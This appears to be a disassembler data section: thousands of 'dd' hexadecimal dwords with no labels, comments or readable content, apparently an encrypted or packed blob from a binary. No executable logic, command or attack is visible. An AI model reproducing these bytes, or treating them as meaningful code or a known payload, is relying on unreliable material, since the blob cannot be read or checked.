dd 440CEB90h, 0C4A3A07h, 22C71228h, 0E803AEDAh, 875B84E9h
dd 8C45DD09h, 16AFE588h, 6555A5Eh, 0A8982E60h, 70B55180h
dd 4A90FD19h, 0C6FE1349h, 9AB52D60h, 0C0D507F6h, 378006E5h
dd 8ED60F0h, 61945266h, 0E9DA0B39h, 0EC8172E8h, 9AD70BA8h
dd 0E0E03155h, 0BD80DC60h, 3A760922h, 8180457Eh, 4A40558Fh
dd 0E29CC09Dh, 0D95381C3h, 3E483202h, 0AB4A90E1h, 0EC21FF4Fh
dd 0CC7EAF76h, 704E1772h
dd 34F3D9B8h, 69C82202h, 625E39E6h, 116DF1Eh, 19973701h
dd 59CE31C6h, 162DF2EDh, 0E2B52117h, 53E14BDDh, 1C25682Dh
dd 985F1A85h, 0E8B73544h, 4CF75AD1h, 110499D0h, 0BFDAEE22h
dd 4E0A09A0h, 0E692A815h, 3F6EC145h, 6E603B57h, 84112A8h
dd 0BC7A3609h, 93EFA5E2h, 5302E138h, 2354992Dh, 41F9755Ah
dd 0F832E909h, 13BE003Ch, 4E7CD602h, 5C13B951h, 910A0B48h
dd 4F16E1D1h, 0C224AEE3h, 0D04604F6h, 3954EDE3h, 155AC0F7h
dd 186B1368h, 9F78F27Eh, 5D164AEFh, 0ED003CB6h, 10A745D1h
dd 554F2CE9h, 623E979Dh, 0F6CA7E5Dh, 105E5E60h, 0DC6AD832h
dd 0E9C4DFDEh, 0D912EC43h, 225FF397h, 0D5012C02h, 2CDD083Dh
dd 4F5AD22Fh, 8647AA66h, 177FAE39h, 90525B2Ch, 62AE586h
dd 29D28B78h, 7787C305h, 8BBB2C09h, 2D017FA4h, 0E9648E2Bh
dd 0A63EB985h, 8C2F7A32h, 0B0D54415h, 0D323A2Bh, 0AE594A93h
dd 4FD19810h, 15DA5AFAh, 4D40955h, 5093767Dh, 0BB5BE142h
dd 0C5800C84h, 7E53EFECh, 78BAD1FFh, 0B2208025h, 33CA80B4h
dd 188EEA50h, 0E066CCFEh, 0DE74F6E6h, 5A7CF478h, 3980C43Bh
dd 0D960F5B5h, 0AAE9380Ch, 0E59CBFC9h, 21E06804h, 28B14BCBh
dd 963EE22Fh, 3AB23BA8h, 0EB8114FEh, 4A396F66h, 999E4960h
dd 79330B19h, 21D3A2A5h, 9F9198D5h, 4D06ED37h, 110C59B3h
dd 5A20EB1h, 47A73AFEh, 3C5B52EBh, 6B02ADC3h, 11E99ED4h
dd 405BEAD6h, 1880E562h, 0B0269D62h, 1D06A461h, 221BE97Fh
dd 2DF977F5h, 917137A1h, 45F5ED8Dh, 5918E8E6h, 0A668135Bh
dd 0FA486031h, 334C850Dh, 16F42CAAh, 37EB2316h, 2905F30h
dd 257C2F68h, 0AA2B635Eh, 0EE67DF7h, 9F42F0B7h, 0CF074B70h
dd 0E9236069h, 9F6378C9h, 5D5A64F4h, 6690FE3Ch, 81098C12h
dd 0C5E6B307h, 3CBE120Eh, 5DB06814h, 80E441E1h, 0C2310011h
dd 55B6A858h, 0C967BD54h, 62899225h, 2F5F7A24h, 54C68276h
dd 7DC3020h, 34B4B050h, 0BF322F81h, 6A80190Eh, 72FC12Ch
dd 0B6655B79h, 960167E8h, 9714742Dh, 982AD448h, 9040802h
dd 504558C5h, 0D0C1956Bh, 98152007h, 4EE6EC3Eh, 256884B0h
dd 0E0730638h, 9459EB2h, 9B1E9CF4h, 1653B08h, 81ACE81h
dd 0C6B7409Eh, 0FB2FA5BBh, 5D14C843h, 99FEB7F6h, 0A588D3CBh
dd 79628D51h, 515200C9h, 0CEE4E188h, 104EC0F6h, 0BF3B76B4h
dd 65D58BE2h, 51456B10h, 4AD3642Dh, 0DB9EFD93h, 6157D9E4h
dd 98C6FA40h, 519D2705h, 0F600E85Ah, 1D7F974Eh, 1FDCBA52h
dd 16FA71Bh, 0D110E1E2h, 99F2D803h, 0A9D703Fh, 0E6EF6EE9h
dd 1FAFB880h, 3480FF4h, 403C7335h, 62E62D76h, 0E5200B98h
dd 2D587136h, 54D6F028h, 55074C53h, 53502900h, 0BD45E952h
dd 31F3ADA9h, 12413EBEh, 5BD8895Eh, 0C5C1C96Fh, 3FE1F682h
dd 18313EEEh, 0F504D455h, 313F2074h, 9744B9D3h, 51077EE0h
dd 0A309EE57h, 0A70CBF6Fh, 0B8D83FB2h, 4F92BD28h, 0F340EBF6h
dd 66CE665Fh, 843B7028h, 5215DCBDh, 6E4E73DFh, 2D20DBA5h
dd 7ADEF914h, 0E6B9C301h, 0E17A7530h, 6349E851h, 209D1B73h
dd 0FEE32EB3h, 0B8894B97h, 767FE123h, 0BEDB781h, 3FFDAC28h
dd 843B0AE1h, 1E14BF96h, 34DCE0F9h, 0E6B588Eh, 5C760220h
dd 0DCBFFD25h, 2B64EFF1h, 1BB136Fh, 968AEA4h, 0D7ECF340h
dd 763E80A3h, 0C1B854EAh, 4EC7DA4Bh, 5F95B0F2h, 0AA027FBAh
dd 0E67DFF71h, 44362FEBh, 0CB6ED259h, 5BE577EFh, 0DCD35089h
dd 4D98BB08h, 201E890Ah, 856E97BEh, 0A881D9F6h, 52302AB6h
dd 0F1283AFAh, 0ACD8E9BAh, 0B7531E7Eh, 270C1F32h, 0C6A414E4h
dd 16901497h, 85CDE950h, 40AEF9BFh, 171FFD8Ch, 0D1C8AA3Eh
dd 0C38001CBh, 0ACF3286Dh, 702B0A82h, 3E779488h, 5EFC10Ch
dd 0C1BF0806h, 0B800A7E1h, 703F3249h, 0CF99876Eh, 0F6F3FA8Ah
dd 72394C83h, 0FE1371Bh, 6BFD93E9h, 0AB5E0CFDh, 65495F38h
dd 0FC5E0AE8h, 8555268Ch, 1A30A920h, 3FE9D025h, 5B56A47Eh
dd 0FA97A444h, 32525F33h, 61A7EADEh, 4AF37327h, 0A452F885h
dd 2FB229AAh, 5F8110ACh, 2A071D68h, 7BE39431h, 40D30005h
dd 8C3F835h, 42CEB04Fh, 0A1EAE908h, 3EFC006h, 259E408Eh
dd 1D15AA0Dh, 0FB304A4Eh, 62549649h, 20D42DDDh, 77844162h
dd 8F5A114Eh, 2B392DBFh, 0BE301CEDh, 20E95610h, 518DD15Dh
dd 7A80C5C8h, 615898EDh, 0D92D1E7Bh, 582AD60Bh, 0BE668B25h
dd 383B3A30h, 16010BE6h, 0EEA3F8E9h, 0A8B35F31h, 0BA92AE14h
dd 9547FF5Fh, 5074E909h, 0AF7B9753h, 0FB29780Bh, 99DEBC08h
dd 7EED6BC5h, 350B0ED2h, 0B6BF2ED8h, 69B46D1Eh, 48A5DC9Dh
dd 3D622250h, 66A558CDh, 9BF626E2h, 1AB0D152h, 0AB64CB4Eh
dd 0D8D0315Ah, 0F5857EAh, 0CA01254Eh, 0F72B2DA4h, 0D1F616C6h
dd 5A889D2Ch, 59B882CFh, 7BAD3061h, 0B64A23D0h, 898013D0h
dd 2BA12DC8h, 801456C1h, 0BED7A169h, 0C4D55721h, 2515D16Fh
dd 0AAAD7BFAh, 428C68CFh, 0D49514E2h, 37315CC7h, 6EB010ADh
dd 1A2C86Ah, 423AF260h, 0FA3E2E44h, 99964B7Ch, 11AD6E74h
dd 5EA7A910h, 42AD99A8h, 12F94429h, 0CD402A83h, 4C2E8B35h
dd 2900840Bh, 0E9447741h, 4DC115ABh, 0EA6269E2h, 0DEA9C26Eh
dd 1E455ADDh, 0CC5DEB31h, 0E65D76A2h, 7E68520Bh, 0BE06614h
dd 5ED22D86h, 0E08DE855h, 33342F42h, 79F8D2DAh, 1B7FB713h
dd 0D6013144h, 0D1B86FC1h, 8A43D07Bh, 11500F61h, 1013B5D4h
dd 0BD1C649Eh, 784C1A4Bh, 67050345h, 0D3F72BA7h, 0C3AD045Bh
dd 18A3BF04h, 6B18BEEDh, 1153512h, 0CB292ECEh, 64F71DE9h
dd 671757C9h, 3CE96966h, 240A7474h, 7762F11h, 90717BF3h
dd 96573E2Dh, 8031B92Dh, 1C4CE150h, 38A5E56Dh, 7ABECB81h
dd 3177C46Fh, 0EAA3F760h, 2F41D11Dh, 0DD51FB01h, 0C3821068h
dd 5D36CAE9h, 0FA8B7512h, 50578003h, 195368B6h, 225927B4h
dd 4A24A2Fh, 1189FA5Bh, 0A5ACB37Ah, 48D05221h, 4ACD2981h
dd 70552C42h, 16C9EB12h, 3C997658h, 26D0DAA5h, 4E30D8B5h
dd 0EF16FF68h, 0EB093CEBh, 32680212h, 21E91242h, 26B455CDh
dd 26101EBh, 42C0243Ch, 9661635h, 0DB5AD32Eh, 0F4595E00h
dd 25DE2108h, 66F0465Bh, 6E2D0C02h, 0C202E7C1h, 0CA3841D7h
dd 0B596BC3Bh, 3EB30681h, 2C45AC6Eh, 80703888h, 0E92A12F6h
dd 0EA27E49Ch, 5B2CF11Dh, 81AADE2Dh, 6C5D9EE1h, 0B7DD3070h
dd 789D4FB2h, 0EDF33DD3h, 0BCDBC993h, 0FA62C441h, 931BE17h
dd 0BA04A5B9h, 39BA8680h, 6029416Ch, 0F741097Bh, 443B4C20h
dd 700BEBFBh, 0DE0BAF20h, 9408A029h, 66890494h, 0E12DC139h
dd 246800E7h, 0ACC5A837h, 0C05782B5h, 79353EBFh, 0E5E0B7C2h
dd 0F62D2E6Eh, 815F5E3Bh, 81E95E5Bh, 0E89E5570h, 63680A88h
dd 72CBFF14h, 0D548BDD8h, 33D632CAh, 342009F9h, 7051A938h
dd 2CCB6D9Fh, 0E97BBA25h, 0CB840854h, 7754944Bh, 578F0080h
dd 539D5C32h, 4D9D0254h, 46775B56h, 6AB804ADh, 0B0227E09h
dd 454A0409h, 2985A841h, 506E4E44h, 675C081Ah, 27026809h
dd 5500E7D3h, 8B5771BDh, 3042C132h, 6E737E2Eh, 272959F0h
dd 1F0BF0Dh, 0ACE4599Dh, 291F163Ch, 0F7453E74h, 30BF0EFAh
dd 4830401Ah, 77604945h, 6A4241D3h, 409FDDE0h, 0FF9E2DA4h
dd 6DCB509Eh, 0FAF82BCFh, 5ED63104h, 0DC55F575h, 719796F1h
dd 117F609Fh, 0D8B55A71h, 0DEAE542Dh, 80C213FEh, 0D1100FF2h
dd 2E22538Bh, 4E0C731h
dd 31991DF0h, 577A6842h, 53BB2718h, 661A5F09h, 50E00643h
dd 0E3F6B50Fh, 829975CBh, 277689Dh, 1549A4BDh, 0A2D0FF54h
dd 41C81ABFh, 1145F6B4h, 0DC03AE0Bh, 490DCA95h, 0BAE07FFEh
dd 2794B16h, 0FD6DB842h, 0FB5709BDh, 370727B0h, 3ED0A05h
dd 357FF8E6h, 5069BCDCh, 3A25F902h, 2E87449h, 0A20E7A43h
dd 6E6467E1h, 8968BB20h, 7EE9834Eh, 42612E5Ch, 5903A3BCh
dd 0A5DB5003h, 0EA299715h, 215B405Dh, 63A92D14h, 8038247Eh
dd 26A31C32h, 0CB4CC6E9h, 0BFC5594Ch, 644C8DAFh, 3961F83Eh
dd 0A73E4879h, 23D0FB3h, 2958C517h, 3C0463Bh, 0AF301480h
dd 3571862h, 0C7104B40h, 0A76871E8h, 48D2363Dh, 46EC06BFh
dd 10B88BFh, 15AD729h, 2B3EE9FEh, 2304D90Fh, 0EF2CE828h
dd 49D41767h, 14BBEFB0h, 0E2CB5822h, 932CE018h, 5304F9EBh
dd 0D83193ACh, 0E9C26EA8h, 67B05DD1h, 0DDFBC209h, 0C94E485Ah
dd 0F16E5212h, 0AAE45113h, 0EB3D2FE9h, 1C1C69h, 1D28C604h
dd 4EB151F0h, 0C8EF372Ch, 12E9047Dh, 0B3A9A473h, 0E042243Ch
dd 8056E450h, 6036B045h, 84C2916Fh, 0EB7BE8DFh, 0C66D392Fh
dd 411E5E3Ah, 28C9ED16h, 5F97D7C5h, 0AE70DDABh, 0D08C3794h
dd 2F6810E6h, 0FC187225h, 0EA88822Dh, 0B55E3C3Ah, 0D8DF30FBh
dd 0DE8D116h, 4E1EA016h, 90018FFCh, 29F6646Fh, 0ABC407D8h
dd 0C39C76ACh, 59D14DAh, 44DFD002h, 0E2290B58h, 739476CDh
dd 3CAF865Ah, 889D9AFDh, 10088A45h, 69B80035h, 1F7DBD7h
dd 5F1BC157h, 22D36F0h, 40311053h, 8742E801h, 3B050809h
dd 42C9FAD0h, 9021B07Fh, 0B1EC3AE1h, 650866B3h, 184BDE9h
dd 0DC7B3A68h, 9BBBBE5Eh, 0CF52DD58h, 404DE95Eh, 5814781h
dd 0F807DEFh, 228316B8h, 3DCA8EB4h, 0F446FA55h, 8C894F5Fh
dd 95DD3EE5h, 0D8EC9DD6h, 0FCCEE33Ah, 775FA208h, 79745240h
dd 0C14CE025h, 2300D84h, 35300E02h, 6ACB6D29h, 0E9278350h
dd 539C0544h, 2D96F7F6h, 7DA32BBEh, 0FCD630DAh, 0BA095292h
dd 0F514E291h, 0CC9A091Eh, 0C97FBC80h, 19D85581h, 62E79C64h
dd 35DABC57h, 0CC2E0F33h, 2684E081h, 29611EE0h, 85039C1h
dd 661EC058h, 53166373h, 0B84F24ECh, 464765EBh, 0A35B9EEBh
dd 8010398h, 4971776Bh, 10857C29h, 0ADB8ADE9h, 36B10442h
dd 8FE14F4h, 0CC4B892Ah, 0A259488Bh, 19485B04h, 49B4EB22h
dd 63839CCh, 404EB14Bh, 6CB95191h, 7EDE182Dh, 15E904F4h
dd 0E559A8C2h, 2A7705FEh, 1829E36Bh, 0EE31A7A3h, 4CBB7719h
dd 0CA58DB58h, 80181425h, 5B81AC3Ch, 203EBC7Eh, 4E65EAD7h
dd 102CFEF3h, 0CBA34EA7h, 44FE050Fh, 0B2F1308Fh, 46C31780h
dd 1B53C16h, 94CADF4Ah, 403AED40h, 0F8B748CBh, 297607D1h
dd 81BF40F6h, 7A4E8239h, 2FF1CC4h, 1C470921h, 89FB17F5h
dd 7A7BA043h, 4A17529Fh, 0BF5877A0h, 0B228A859h, 3A31749Eh
dd 17411AB7h, 3101B0F7h, 0BDD9D9F9h, 0B1E599A8h, 3F60D617h
dd 6046F4F0h, 2BC2FBE2h, 5C9F12ADh, 558E0960h, 48610FA3h
dd 3DAE0B12h, 2C3AAE2Dh, 0E92F5E18h, 208B7213h, 0BF029FD8h
dd 520E5881h, 8E8989h, 0ADF1A7ACh, 1E0A26E9h, 6643B688h
dd 6E4BC37Ch, 615C1FC0h, 0B112CC9Dh, 9B5BB64Fh, 5B09E1ACh
dd 92079904h, 8DA0EBDBh, 1D01276Bh, 0D915BE04h, 2F80E2FEh
dd 34F83234h, 0E216E91Fh, 0D5A7829h, 0C0E50C1Ch, 4822C47Ch
dd 92109EDAh, 0BFD58F4h, 1830F168h, 0C99C50A1h, 0CD1B9F16h
dd 77D277C2h, 5DDAC300h, 0BA524FE5h, 751A1223h, 0CFA73067h
dd 0F61F61Eh, 6523710Ch, 0F0C742D9h, 0FE8866F2h, 1BD2BF89h
dd 1450FB60h, 0B81FB26Ch, 5E2E8201h, 85364FC3h, 6D6DFAA9h
dd 13EBA63Ah, 0C3307749h, 4ADB100Bh, 9FFCA02Dh, 4D531418h
dd 4C3D5ABCh, 0E202A4B2h, 0D381833h, 0AE61ED85h, 98BFD235h
dd 0D224684Eh, 0CCC2E008h, 5D2DCADAh, 0CB2D4040h, 160C631Dh
dd 0BA07AA42h, 13A5603Dh, 7E52813Fh, 6DB1C185h, 6B8EA73Eh
dd 0BEF4C10h, 19A3392Fh, 82106F0Bh, 1E1EB0CEh, 96CB332Bh
dd 69BAC612h, 8C00C1F5h, 79AB2AB4h, 609AEDF6h, 0DF875A27h
dd 47F75132h, 1F6C0BA9h, 0D48EDC7Ch, 0B5B83738h, 1631060Fh
dd 5FFB8960h, 8627E951h, 0DEB4F7F3h, 8887F0C4h, 0C917B413h
dd 0E4F21009h, 0BFDB6453h, 765A4ED8h, 854CA731h, 3979993Fh
dd 52E9C23Bh, 0EF0F54C9h, 919E0765h, 2F460CE1h, 55CFBBCCh
dd 0AB000815h, 9F74F928h, 0DE258CDEh, 0B25A8909h, 7F5A5874h
dd 0B3E93518h, 6426F069h, 8ABAC97Bh, 80022C68h, 4AD6C23Eh
dd 5E0C03B0h, 93C4E39Eh, 0E0D8D6AAh, 0DE1E530Fh, 9CE46432h
dd 1D406802h, 0DE699855h, 86408209h, 8180715Fh, 17A117C9h
dd 1F1FA2h, 0E262BE47h, 6DEECF31h, 178FDB97h, 50DB292h
dd 2C194F74h, 2CE79E08h, 0E6E20B46h, 5769E7Fh, 610382C6h
dd 17F20463h, 8E800FBBh, 0FBE51F66h, 0D6F60CC0h, 0E6308004h
dd 1EE0B17h, 0A2B70753h, 325BFE28h, 5A575AF5h, 9DF69049h
dd 30876576h, 1623C4Eh, 505B16C8h, 2884E7FCh, 0E4530CD1h
dd 7E09811Ah, 0FA82CF2Dh, 76BC37A0h, 0F8FFE3FFh, 2D0D9ACDh
dd 5DDA21CCh, 44283E24h, 7DFC56C5h, 6EA26BB9h, 0C944682Eh
dd 3E4DD760h, 85B6328h, 553AD80Bh, 0B8BADF48h, 65D50C0Bh
dd 0A4DD0D07h, 50357C10h, 3D13F3D1h, 4FA1A54h, 0FEEE016Fh
dd 38986064h, 0E04033E9h, 0DB795340h, 393D302Fh, 0E83499Bh
dd 1B7E62A1h, 7FACC7E1h, 1D4B1E41h, 0EA607DDFh, 0A66DBF9Ah
dd 29EA5C12h, 9EFC3E85h, 8F38A0E5h, 0A34D7258h, 1E169C1Bh
dd 0A9B85694h, 55448F4h, 3B082E4Bh, 89EF7992h, 92F5D108h
dd 0F13DFB5Ah, 48585369h, 0A0A8E90Bh, 0F7503ED6h, 21E9B2Ah
dd 6A20065Ah, 30D0BFE3h, 23923251h, 0B7D6E913h, 0BB10C18Ah
dd 20BA173Fh, 286623C8h, 58D7674Bh, 8419DFAh, 0A80DB020h
dd 1E060583h, 895DCC3Ah, 0E35163D1h, 579E538Ah, 5EAD09C9h
dd 204920A9h, 0F72690E8h, 0B526F2D1h, 0CEB9431Ch, 0ACF0F00h
dd 0D26F5D5Ah, 0F4C80410h, 0DEC492CDh, 0C47087C1h, 4BBD2F81h
dd 0F1044A05h, 7012AD73h, 5F711E88h, 1CEBD2CDh, 6167C2DBh
dd 9640414Fh, 0B9092E38h, 45DE019Ch, 0F6023B46h, 43E03426h
dd 0C688BE2h, 0F15F8859h, 3208CD1h, 5F29DA7Eh, 5922AFC0h
dd 8B0B9D30h, 75D273DCh, 5A178558h, 2DACE1C0h, 4BA28210h
dd 488462EAh, 0F7466057h, 0DA0501D0h, 2D08B865h, 0A7B530A3h
dd 0E24BE92Dh, 0A2F8F792h, 0B5AE8B58h, 209E82B2h, 0DEA4DC2Fh
dd 8E864C4Ah, 9AC30180h, 571E122Bh, 7D780038h, 2D4C1B6Ah
dd 0DA6F621Fh, 64970D02h, 0E5F4C090h, 0D63BCE06h, 0F9658BE6h
dd 321D58C1h, 842E7BB2h, 13071278h, 4FDB090h, 0E83A5170h
dd 81E85A2Ch, 1ABE5A1Ah, 122159F5h, 0A21D01D6h, 6B209A0Bh
dd 12EB7A17h, 0C4A51DDAh, 0C03A9644h, 8D092BA2h, 3BB1550h
dd 0DA615616h, 0AAF816ABh, 0AC904FDDh, 0EC0B4F0Eh, 457FFE7Ah
dd 7DA5BD07h, 92AA4634h, 3AC62580h, 0B54E4B7Dh, 0AE83E8Eh
dd 7CB48A10h, 0F58A6095h, 0BD461FF1h, 0E7A38818h, 2899B502h
dd 0BA23C5E8h, 1733A326h, 0BB259069h, 597B4E1Dh, 6800445Fh
dd 63E2862Dh, 2DF8BF06h, 80B13160h, 7A2856C3h, 0C4705FE3h
dd 0C6E2EB78h, 0E4EEE9C4h, 0FFFAC171h, 0E0FDBF25h, 84BB53EBh
dd 0B24BE975h, 0A6939AE8h, 0E9FE096Dh, 68DE6067h, 96401623h
dd 0E38BAA13h, 386DFB00h
dd 0D7C9E935h, 0DFC3DA83h, 44142666h, 13C0893Ch, 736026D9h
dd 4FF876DAh, 2554E460h, 6562320Ah, 641DEE4Dh, 0E976FC41h
dd 46651CB6h, 3D2D9640h, 7C980A4Bh, 2D95348h, 4D41727Dh
dd 8006DAF7h, 132EC28Bh, 10FBB71h, 9D28FD85h, 2518806Dh
dd 0E96B7529h, 88DD4E38h, 37B85C17h, 27CF995Dh, 12427BD1h
dd 0C62FE432h, 0A7D6A73Bh, 0DBB7E50h, 43D96CF5h, 98C95540h
dd 0D3413DE7h, 5A20F236h, 0D0F1ED6Bh, 15F61DD0h, 0D9525A1Eh
dd 3C5FD808h, 0FEEFD003h, 0DA380C7h, 2F9EC0E9h, 0FB4AE244h
dd 1220AD16h, 58A3F2EBh, 0C5C2899Fh, 0ACB9984Bh, 0C40A6C85h
dd 0F3F89017h, 83D9ABF5h, 3E39BB2Ah, 4FAA3424h, 9700A302h
dd 0A1A44AACh, 0B7646048h, 7D15290Bh, 9F915059h, 0F4CB62D6h
dd 0EFE985FBh, 8E98EFC4h, 2D715E7Ch, 698F07D9h, 7DA60AF1h
dd 59A8870Dh, 0F43A0C85h, 9F43AD3Eh, 58132310h, 9EAD3856h
dd 0B52FDB41h, 0AA7CE421h, 712E549Dh, 13052AFBh, 25FC24B8h
dd 7A4578Fh, 6E34EF38h, 0D96A6EEDh, 2E4E0B25h, 5453D323h
dd 7A486DCAh, 60274A18h, 8982DF13h, 0E0F9E72h, 315BE5C5h
dd 0B84A53EBh, 5FC48993h, 2B934F45h, 0CDBD29C0h, 0C036483Eh
dd 35270275h, 0EDD151E8h, 16CF7760h, 8957F309h, 0A9E284EBh
dd 0E9835E09h, 0C9023481h, 461086C2h, 43AE205h, 0F7AC83B7h
dd 7273BB00h, 0A4B84A7Bh, 1E269717h, 762408EBh, 0EF5B76ADh
dd 3B98A1D6h, 80C370FCh, 638F6EBh, 8CB14E60h, 0E0AFF13Ah
dd 0D65B35E9h, 85EA4274h, 8E7563A5h, 3BBD17D4h, 0E767C50Bh
dd 91EB2A00h, 34ACAC2h, 0B752DEE0h, 0A3185996h, 0A44A6557h
dd 0F0549FB2h, 0EC52254Fh, 0BF4544EBh, 0FD82374Ah, 54954C39h
dd 2BABDB2h, 3AA75AB1h, 5957D2F7h, 40E9C17Ah, 0BAEC55A9h
dd 0B43F0EC8h, 1EFF2D40h, 0A8D35470h, 0BE965AA9h, 0BE56FF30h
dd 435003C0h, 613EE971h, 77534A3Eh, 0C81BAE27h, 0B5D0AFF4h
dd 0D432461Ah, 6B34F0D7h, 0D3745F7Ah, 292F3F05h, 822AD2EEh
dd 40B19661h, 0BC5193B6h, 0ABE96312h, 0EE7F0CA9h, 0F077A015h
dd 797D722Ch, 5DB77D27h, 2912A9A8h, 0B9DA01F9h, 2C2C6139h
dd 52BAA4BBh, 92A70C63h, 6B41A7C6h, 28A3E02Eh, 5ACB52A0h
dd 58E581Eh, 24D536CCh, 0FDFEED4Fh, 0E8F7CEAEh, 0B3E2844Eh
dd 91DDDFEh, 12AC3786h, 0D2EFCB79h, 0E47F5115h, 62C60F51h
dd 5E6466FDh, 284AC9C8h, 4A263E8Eh, 0DAF7C1ECh, 0C545178Fh
dd 13D9AB35h, 0D477E22Eh, 0EBB63EC8h, 0A9F0179h, 16E297Fh
dd 0C828BBABh, 4B0C970Ch, 824C9F09h, 71CBA34h, 0E1BF6258h
dd 0DA862AFh, 0A2F7810Fh, 7760366Eh, 903909E0h, 0D36D1EB5h
dd 0E131130Ch, 0CCF92B3Dh, 532CEF92h, 0DD0D5F1Fh, 0BF3154FBh
dd 0FC267E62h, 0E0F92753h, 8A0A465h, 11680557h, 0EF406C78h
dd 6E4CE9F4h, 0CBC4B11Ah, 0D739B9D1h, 0EF8787B9h, 45E7135Fh
dd 73210C5Ah, 0FC2EF580h, 35678601h, 0EF20633h, 0C29BD18h
dd 593F0207h, 80194A7Fh, 6DC3138Ch, 8A2948Bh, 5F25A755h
dd 94DB4402h, 0F225CC08h, 96290F1h, 72903FD5h, 0B34BF283h
dd 0A7B3EE84h, 0F6CBFBD3h, 10D26173h, 0C9F777BEh, 0A0F560C0h
dd 54275B9Bh, 57CEE643h, 2F5DEF3Ch, 0F130E88Bh, 0FADB13F5h
dd 18CFACFEh, 0DE2BA516h, 0F905055Bh, 0C0244906h, 327C18D2h
dd 0E9F02904h, 65A45A92h, 0CB28268Ch, 0F1FD3AE0h, 2C124369h
dd 5B9B347h, 26EC5A1Dh, 436A02BEh, 674015D8h, 0D23D7FD0h
dd 9EC97C2Ah, 0B25FF8AFh, 856E9D18h, 0A62491B0h, 61A53EBAh
dd 0EAE8FA27h, 0C137AB79h, 1097994Dh, 0CE74925Dh, 0AABE1668h
dd 3F0A7F07h, 98B08146h, 0B915C04Fh, 8C6C0931h, 6B624D7Ch
dd 61D6DE05h, 1A20AE9h, 0A02F97B0h, 4FB57E3h, 0C7F0D49Dh
dd 3574C09Bh, 2F7213DEh, 0F1152D07h, 70FA1F60h, 0C200E32Fh
dd 9ABF58Fh, 78247DF6h, 19B3A08h, 653162B9h, 42377B38h
dd 777CD052h, 0D074F6Ch, 5F951918h, 2C3F0F3h, 0AC2D7C3Fh
dd 84F43144h, 81C1D8ADh, 0E5255E0Ch, 5FB2F63Ah, 9BE96B0h
dd 74461981h, 3628942h, 6803C280h, 2960EC6h, 9A60AA60h
dd 0D5F73F4Fh, 8C53C097h, 67963D83h, 0CA59DD39h, 0BB82CE1Dh
dd 636F15E4h, 0BE8F3E3h, 0B9515814h, 0E2B7365Ah, 6577F9A8h
dd 0FB4CD4ABh, 416747D9h, 0B192C515h, 0AF00EF4Bh, 0E47B1905h
dd 34C90AFh, 6B334B58h, 2AC7C229h, 0DA4C3E08h, 338F8E12h
dd 0E5C95E48h, 538C6B3Ch, 5909BFFCh, 35B74902h, 0BFE49477h
dd 0E0080373h, 779B3FF0h, 0CA24253Ch, 8269F92Dh, 55DCC400h
dd 4E78AA2Ch, 0ADF29B5Eh, 0F3212C84h, 0A22F24F7h, 0BBDC5A98h
dd 57951211h, 2A60FC5Dh, 0D12CCA33h, 68C23821h, 0F21CEBCEh
dd 53864AA2h, 0A5680579h, 0CEC6169h, 559C060Bh, 5F41C4C3h
dd 6800631Ah, 98950F1Bh, 9CB7387Dh, 0DC0288E4h, 2367B802h
dd 0ACF24083h, 1CF6B5CDh, 2C4076C9h, 10200419h, 1EBDBCD8h
dd 161F38FCh, 5305EE17h, 0C2BE0FFDh, 886C6B1h, 2A700E5Fh
dd 0B41C1E3Fh, 81A2ECEh, 5923040Ch, 5F169EE7h, 818FFF56h
dd 0E124EE5Bh, 4AD5CBAFh, 0D1911E71h, 6D9FDA3Ch, 40B84Ah
dd 6192CC8Ah, 852174B5h, 0AB537C68h, 0F3E17B64h, 61A33E8Fh
dd 9504222Bh, 94D2B37Bh, 70F31846h, 3D5AD313h, 3438D809h
dd 0F132B8DAh, 56009D6Dh, 1F005D68h, 815E7D1Bh, 3E5C2DE6h
dd 363E4C67h, 9A74E9CFh, 0EAF0B03h, 28077F4Eh, 0F6605256h
dd 0E797D2Dh, 3910E97Bh, 7B9CBA13h, 14C24029h, 6023FC9Dh
dd 0F745FB68h, 63E9280Ch, 9C7E718h, 27617C9Dh, 12A38704h
dd 29004C13h, 47106DE5h, 92CD0E81h, 1F6603Bh, 91AD01BEh
dd 18976B08h, 0E752FC30h, 0B68E654h, 1A8511CDh, 0BF02CD02h
dd 8D0324D5h, 53C768BCh, 0F63DB0BBh, 0F30F8119h, 12055802h
dd 420BD309h, 91E0F73Ch, 0FF73EA80h, 12ABF23Fh, 8B22D856h
dd 9FC8E4FBh, 92C31781h, 466FDD0Ch, 0DB4F7EFAh, 98173729h
dd 4614F742h, 4B84B5C6h, 4B35CBD3h, 0E93B0BDEh, 0BFA5174Ah
dd 0DC1925CAh, 30AD1086h, 711441BEh, 0AE7C39h, 628C1149h
dd 0F3781D05h, 9ABE4A88h, 25D1C18Eh, 0CDAAC0C7h, 6C2130BAh
dd 29783A18h, 3B509018h, 0F1A41609h, 0AC0820E7h, 0FA2D07AFh
dd 5001B227h, 3BA67563h, 522A52B8h, 649008BAh, 62147695h
dd 0A7F3079Fh, 19A2F8A0h, 5AA5667Ch, 0BD2F2F28h, 5489FCF1h
dd 0D8905E58h, 0F85FB9E9h, 55CB9CFCh, 295A0EA2h, 7F3CAA7Bh
dd 0A340A490h, 0BB787168h, 44BF0487h, 0E90EFB21h, 64F2858Ch
dd 0FC7B20BEh, 6F60B514h, 0ACA1AB0Ch, 49E92D9Ch, 0EFD145E1h
dd 3341F7B9h, 59FB44CEh, 81685508h, 85323262h, 4BF39055h
dd 29442DD5h, 2008CF08h, 92FF5BE1h, 0B25EF7E0h, 16BCF7A0h
dd 8E3F74E9h, 3010914h, 6F3F3CE9h, 8312728Bh, 842504E8h
dd 56A2FBCEh, 7810A44Ch, 17663237h, 0B7487D56h, 3056395h
dd 436FE906h, 19BF5D01h, 0A26A3488h, 3CBA5A97h, 1C8004A6h
dd 7862828Fh, 5160F07Ch, 0F1B850h, 56A8A16h, 7E6109A1h
dd 0EDE8D124h, 85721B00h, 5EDEE942h, 0A177EF94h, 0EF9CCC3h
dd 0E6E78016h, 515ACF60h, 0C5F24CB5h, 0EF38AC7Ch, 0C7FC730Ch
dd 301C59EAh, 0E8D65BFDh, 30FEF808h, 1217B8A9h, 5A68263Ch
dd 2DD99C81h, 4E5F5202h, 4F1D9887h, 9297B9D0h, 52D1BC41h
dd 0B3690B47h, 1528C610h, 0BA213E9h, 45DE315Eh, 8FD8A71Ch
dd 6A7D6813h, 2B02CA62h
dd 0E9143957h, 2FF456FAh, 4CA5615Ch, 56567C1Ah, 9C5E0A5Eh
dd 0FE2FE92Ah, 0C318C80Bh, 702E1D45h, 53E38135h, 0F0463279h
dd 5109DACBh, 874B127Ch, 2B134221h, 54EBE89Fh, 37D25C31h
